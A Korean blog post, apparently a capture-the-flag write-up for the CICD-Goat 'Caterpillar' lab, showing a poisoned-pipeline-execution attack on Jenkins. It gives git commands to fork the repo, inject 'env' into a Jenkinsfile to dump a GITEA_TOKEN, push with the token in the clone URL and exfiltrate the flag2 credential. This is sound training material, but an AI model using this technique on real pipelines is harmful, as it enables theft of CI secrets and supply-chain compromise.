[CICD-Goat] 4. Caterpillar

쥬스몬·2023년 3월 29일
0

CICD-Goat

목록 보기
4/4

개인적으로 침투테스트 시 내부망에 액세스하면 우선 순위로 내부에서 사용중인 CI/CD 툴인 jenkins, gitlab, bitbucket 등을 탐색한다. 발견 이후에도 알려진 CVE가 모두 패치된 버전을 사용하여 익스하지 못한 경험이 있는데, 추후 이런 상황에서 좀더 스마트하게 내부 시스템을 장악하고자 취약한 환경의 CI/CD 환경인 cicd-goat을 통해 CI/CD pipeline에서 발생할 수 있는 11가지의 취약점 시나리오를 CTF 형태로 진행한다.

이번 포스트에서는 Moderate 단계의 Caterpillar을 진행한다.

Wonderland/caterpillar 레포의 권한을 이용하여 Jenkins credentials store에서 flag2를 탈취하는 것이다.

이번 문제도 PPE 공격을 악용해서 flag를 탈취할 수 있을것같은 느낌이 강하게 든다. 1번 문제인 White Rabbit의 해결 과정을 그대로 진행해본다.

git clone http://localhost:3000/Wonderland/caterpillar.git
cd caterpillar
# Jenkinesfile의 stage 부분에 env 명령을 삽입
git checkout -b "hacker_branch"
git add Jenkinsfile
git commit -m "Commit message"
git push --set-upstream origin hacker_branch

안타깝게도 해당 레포에 권한이 없는지 push가 실패한다.

첫번째 힌트를 보면 레포를 fork해서 pull request를 생성하고 pipeline을 트리거하는 방식으로 진행해야된다고한다. 레포를 fork하여 pipeline을 구성하는 Jenkinsfile 수정하여 push하고 pull request를 생성해 악성 코드를 실행할 수 있는 과정이 Public PPE 공격으로 생각할 수 있다.

git clone http://localhost:3000/thealice/caterpillar-fork.git
# Jenkinesfile의 stage 부분에 env 명령을 삽입
git add Jenkinsfile
git commit -m "show me the env"
git push

Jenkins에서 build history를 보면 env 명령이 성공적으로 실행되어 출력된것을 확인할 수 있으며 여러 민감한 환경변수들을 확인할 수 있으며, 그중 GITEA_TOKEN을 이용하여 원본 caterpillar 레포를 clone하고 Jenkinsfile을 수정하여 탈취한 토큰을 통해 직접 push가 가능하다.

git clone http://5d3ed5564341d5060c8524c41fe03507e296ca46@43.201.148.100:3000/Wonderland/caterpillar.git

원본 caterpillar 레포의 Jenkinsfile을 아래와 같이 수정한다.

pipeline {
    agent any
    environment {
        FLAG = credentials("flag2")
    }

    stages {
        stage ('show flag2') {
            steps {
                sh """
                    echo $FLAG | base64
                """
            }
        }
    }

    post { 
        always { 
            cleanWs()
        }
    }
}

이후 아래와 같이 add, commit, push 작업을 진행한다. (token을 통해 clone하였기 때문에 자격증명을 입력할 필요가 없다)

git add Jenkinsfile
git commit -m "show me the flag2"
git push

이전 fork를 통해 clone한 레포를 push하면 wonderland-caterpillar-test 파이프라인에서 빌드가 진행되지만 원본 레포 코드를 수정하고 push했을 경우 wonderland-caterpillar-prod 파이프라인에서 빌드가 진행된다.

build history에서 위에서 수정한 Jenkinsfile의 show flag2 stage의 로그를 보면 flag2 credentials가 출력되는것을 확인할 수 있다!

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글